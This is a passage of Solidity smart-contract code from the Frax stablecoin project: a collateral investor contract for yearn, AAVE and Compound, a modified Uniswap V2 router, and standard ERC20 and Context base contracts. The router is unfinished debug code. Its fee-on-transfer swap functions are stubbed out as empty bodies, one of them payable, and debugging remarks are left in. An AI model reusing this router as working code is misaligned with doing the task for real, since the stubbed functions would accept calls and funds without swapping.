import "./aave/IAAVE_aUSDC_Partial.sol";
import "./compound/ICompComptrollerPartial.sol";
import "./compound/IcUSDC_Partial.sol";
// Lower APY: yearn, AAVE, Compound
// Higher APY: KeeperDAO, BZX, Harvest
contract FraxPoolInvestorForV2 is AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
ERC20 private collateral_token;
FRAXShares private FXS;
FRAXStablecoin private FRAX;
FraxPool private pool;
// Pools and vaults
IyUSDC_V2_Partial private yUSDC_V2 = IyUSDC_V2_Partial(0x5f18C75AbDAe578b483E5F43f12a39cF75b973a9);
IAAVELendingPool_Partial private aaveUSDC_Pool = IAAVELendingPool_Partial(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
IAAVE_aUSDC_Partial private aaveUSDC_Token = IAAVE_aUSDC_Partial(0xBcca60bB61934080951369a648Fb03DF4F96263C);
IcUSDC_Partial private cUSDC = IcUSDC_Partial(0x39AA39c021dfbaE8faC545936693aC917d5E7563);
// Reward Tokens
Comp private COMP = Comp(0xc00e94Cb662C3520282E6f5717214004A7f26888);
ICompComptrollerPartial private CompController = ICompComptrollerPartial(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public collateral_address;
address public pool_address;
address public owner_address;
address public timelock_address;
address public custodian_address;
address public weth_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 public immutable missing_decimals;
uint256 private constant PRICE_PRECISION = 1e6;
// Max amount of collateral this contract can borrow from the FraxPool
uint256 public borrow_cap = uint256(20000e6);
// Amount the contract borrowed
uint256 public borrowed_balance = 0;
uint256 public borrowed_historical = 0;
uint256 public paid_back_historical = 0;
// Allowed strategies (can eventually be made into an array)
bool public allow_yearn = true;
bool public allow_aave = true;
bool public allow_compound = true;
/* ========== MODIFIERS ========== */
modifier onlyByOwnerOrGovernance() {
require(msg.sender == timelock_address || msg.sender == owner_address, "You are not the owner or the governance timelock");
_;
}
modifier onlyCustodian() {
require(msg.sender == custodian_address, "You are not the rewards custodian");
_;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _frax_contract_address,
address _fxs_contract_address,
address _pool_address,
address _collateral_address,
address _owner_address,
address _custodian_address,
address _timelock_address
) public {
FRAX = FRAXStablecoin(_frax_contract_address);
FXS = FRAXShares(_fxs_contract_address);
pool_address = _pool_address;
pool = FraxPool(_pool_address);
collateral_address = _collateral_address;
collateral_token = ERC20(_collateral_address);
timelock_address = _timelock_address;
owner_address = _owner_address;
custodian_address = _custodian_address;
missing_decimals = uint(18).sub(collateral_token.decimals());
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
/* ========== VIEWS ========== */
function showAllocations() external view returns (uint256[5] memory allocations) {
// IMPORTANT
// Should ONLY be used externally, because it may fail if any one of the functions below fail
// All numbers given are assuming xyzUSDC, etc. is converted back to actual USDC
allocations[0] = collateral_token.balanceOf(address(this)); // Unallocated
allocations[1] = (yUSDC_V2.balanceOf(address(this))).mul(yUSDC_V2.pricePerShare()).div(1e6); // yearn
allocations[2] = aaveUSDC_Token.balanceOf(address(this)); // AAVE
allocations[3] = (cUSDC.balanceOf(address(this)).mul(cUSDC.exchangeRateStored()).div(1e18)); // Compound. Note that cUSDC is E8
uint256 sum_tally = 0;
for (uint i = 1; i < 5; i++){
if (allocations[i] > 0){
sum_tally = sum_tally.add(allocations[i]);
}
}
allocations[4] = sum_tally; // Total Staked
}
function showRewards() external view returns (uint256[1] memory rewards) {
// IMPORTANT
// Should ONLY be used externally, because it may fail if COMP.balanceOf() fails
rewards[0] = COMP.balanceOf(address(this)); // COMP
}
/* ========== PUBLIC FUNCTIONS ========== */
// Needed for the Frax contract to function
function collatDollarBalance() external view returns (uint256) {
// Needs to mimic the FraxPool value and return in E18
// Only thing different should be borrowed_balance vs balanceOf()
if(pool.collateralPricePaused() == true){
return borrowed_balance.mul(10 ** missing_decimals).mul(pool.pausedPrice()).div(PRICE_PRECISION);
} else {
uint256 eth_usd_price = FRAX.eth_usd_price();
uint256 eth_collat_price = UniswapPairOracle(pool.collat_eth_oracle_address()).consult(weth_address, (PRICE_PRECISION * (10 ** missing_decimals)));
uint256 collat_usd_price = eth_usd_price.mul(PRICE_PRECISION).div(eth_collat_price);
return borrowed_balance.mul(10 ** missing_decimals).mul(collat_usd_price).div(PRICE_PRECISION); //.mul(getCollateralPrice()).div(1e6);
}
}
// This is basically a workaround to transfer USDC from the FraxPool to this investor contract
// This contract is essentially marked as a 'pool' so it can call OnlyPools functions like pool_mint and pool_burn_from
// on the main FRAX contract
// It mints FRAX from nothing, and redeems it on the target pool for collateral and FXS
// The burn can be called separately later on
function mintRedeemPart1(uint256 frax_amount) public onlyByOwnerOrGovernance {
require(allow_yearn || allow_aave || allow_compound, 'All strategies are currently off');
uint256 redemption_fee = pool.redemption_fee();
uint256 col_price_usd = pool.getCollateralPrice();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
uint256 redeem_amount_E6 = (frax_amount.mul(uint256(1e6).sub(redemption_fee))).div(1e6).div(10 ** missing_decimals);
uint256 expected_collat_amount = redeem_amount_E6.mul(global_collateral_ratio).div(1e6);
expected_collat_amount = expected_collat_amount.mul(1e6).div(col_price_usd);
require(borrowed_balance.add(expected_collat_amount) <= borrow_cap, "Borrow cap reached");
borrowed_balance = borrowed_balance.add(expected_collat_amount);
borrowed_historical = borrowed_historical.add(expected_collat_amount);
// Mint the frax
FRAX.pool_mint(address(this), frax_amount);
// Redeem the frax
FRAX.approve(address(pool), frax_amount);
pool.redeemFractionalFRAX(frax_amount, 0, 0);
}
function mintRedeemPart2() public onlyByOwnerOrGovernance {
pool.collectRedemption();
}
function giveCollatBack(uint256 amount) public onlyByOwnerOrGovernance {
// Still paying back principal
if (amount <= borrowed_balance) {
borrowed_balance = borrowed_balance.sub(amount);
}
// Pure profits
else {
borrowed_balance = 0;
}
paid_back_historical = paid_back_historical.add(amount);
collateral_token.transfer(address(pool), amount);
}
function burnFXS(uint256 amount) public onlyByOwnerOrGovernance {
FXS.approve(address(this), amount);
FXS.pool_burn_from(address(this), amount);
}
/* ========== yearn V2 ========== */
function yDepositUSDC(uint256 USDC_amount) public onlyByOwnerOrGovernance {
require(allow_yearn, 'yearn strategy is currently off');
collateral_token.approve(address(yUSDC_V2), USDC_amount);
yUSDC_V2.deposit(USDC_amount);
}
// E6
function yWithdrawUSDC(uint256 yUSDC_amount) public onlyByOwnerOrGovernance {
yUSDC_V2.withdraw(yUSDC_amount);
}
/* ========== AAVE V2 ========== */
function aaveDepositUSDC(uint256 USDC_amount) public onlyByOwnerOrGovernance {
require(allow_aave, 'AAVE strategy is currently off');
collateral_token.approve(address(aaveUSDC_Pool), USDC_amount);
aaveUSDC_Pool.deposit(collateral_address, USDC_amount, address(this), 0);
}
// E6
function aaveWithdrawUSDC(uint256 aUSDC_amount) public onlyByOwnerOrGovernance {
aaveUSDC_Pool.withdraw(collateral_address, aUSDC_amount, address(this));
}
/* ========== Compound cUSDC + COMP ========== */
function compoundMint_cUSDC(uint256 USDC_amount) public onlyByOwnerOrGovernance {
require(allow_compound, 'Compound strategy is currently off');
collateral_token.approve(address(cUSDC), USDC_amount);
cUSDC.mint(USDC_amount);
}
// E8
function compoundRedeem_cUSDC(uint256 cUSDC_amount) public onlyByOwnerOrGovernance {
// NOTE that cUSDC is E8, NOT E6
cUSDC.redeem(cUSDC_amount);
}
function compoundCollectCOMP() public onlyByOwnerOrGovernance {
address[] memory cTokens = new address[](1);
cTokens[0] = address(cUSDC);
CompController.claimComp(address(this), cTokens);
// CompController.claimComp(address(this), );
}
/* ========== Custodian ========== */
function withdrawRewards() public onlyCustodian {
COMP.transfer(custodian_address, COMP.balanceOf(address(this)));
}
/* ========== RESTRICTED FUNCTIONS ========== */
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
timelock_address = new_timelock;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function setWethAddress(address _weth_address) external onlyByOwnerOrGovernance {
weth_address = _weth_address;
}
function setMiscRewardsCustodian(address _custodian_address) external onlyByOwnerOrGovernance {
custodian_address = _custodian_address;
}
function setPool(address _pool_address) external onlyByOwnerOrGovernance {
pool_address = _pool_address;
pool = FraxPool(_pool_address);
}
function setBorrowCap(uint256 _borrow_cap) external onlyByOwnerOrGovernance {
borrow_cap = _borrow_cap;
}
function setAllowedStrategies(bool _yearn, bool _aave, bool _compound) external onlyByOwnerOrGovernance {
allow_yearn = _yearn;
allow_aave = _aave;
allow_compound = _compound;
}
function emergencyRecoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance {
// Can only be triggered by owner or governance, not custodian
// Tokens are sent to the custodian, as a sort of safeguard
ERC20(tokenAddress).transfer(custodian_address, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
/* ========== EVENTS ========== */
event Recovered(address token, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import './Interfaces/IUniswapV2Factory.sol';
import './TransferHelper.sol';
import './Interfaces/IUniswapV2Router02.sol';
import './UniswapV2Library.sol';
import '../Math/SafeMath.sol';
import '../ERC20/IERC20.sol';
import '../ERC20/IWETH.sol';
contract UniswapV2Router02_Modified is IUniswapV2Router02 {
using SafeMath for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
IUniswapV2Factory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IUniswapV2Pair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
TransferHelper.safeTransferFrom(WETH, msg.sender, pair, amountETH);
// IWETH(WETH).transferFrom(msg.sender, pair, amountETH);
// IWETH(WETH).deposit{value: amountETH}();
// assert(IWETH(WETH).transfer(pair, amountETH));
// require(false, "HELLO: HOW ARE YOU TODAY!");
liquidity = IUniswapV2Pair(pair).mint(to); // << PROBLEM IS HERE
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
(address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
// for (uint i; i < path.length - 1; i++) {
// (address input, address output) = (path[i], path[i + 1]);
// (address token0,) = UniswapV2Library.sortTokens(input, output);
// IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));
// uint amountInput;
// uint amountOutput;
// { // scope to avoid stack too deep errors
// (uint reserve0, uint reserve1,) = pair.getReserves();
// (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
// amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
// amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
// }
// (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
// address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
// pair.swap(amount0Out, amount1Out, to, new bytes(0));
// }
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
// TransferHelper.safeTransferFrom(
// path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
// );
// uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
// _swapSupportingFeeOnTransferTokens(path, to);
// require(
// IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
// 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
// );
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
// require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
// uint amountIn = msg.value;
// IWETH(WETH).deposit{value: amountIn}();
// assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn));
// uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
// _swapSupportingFeeOnTransferTokens(path, to);
// require(
// IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
// 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
// );
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
// require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
// TransferHelper.safeTransferFrom(
// path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
// );
// _swapSupportingFeeOnTransferTokens(path, address(this));
// uint amountOut = IERC20(WETH).balanceOf(address(this));
// require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
// IWETH(WETH).withdraw(amountOut);
// TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return UniswapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsIn(factory, amountOut, path);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import "../Common/Context.sol";
import "./IERC20.sol";
import "../Math/SafeMath.sol";
import "../Utils/Address.sol";
// Due to compiling issues, _name, _symbol, and _decimals were removed
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Custom is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.approve(address spender, uint256 amount)
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for `accounts`'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
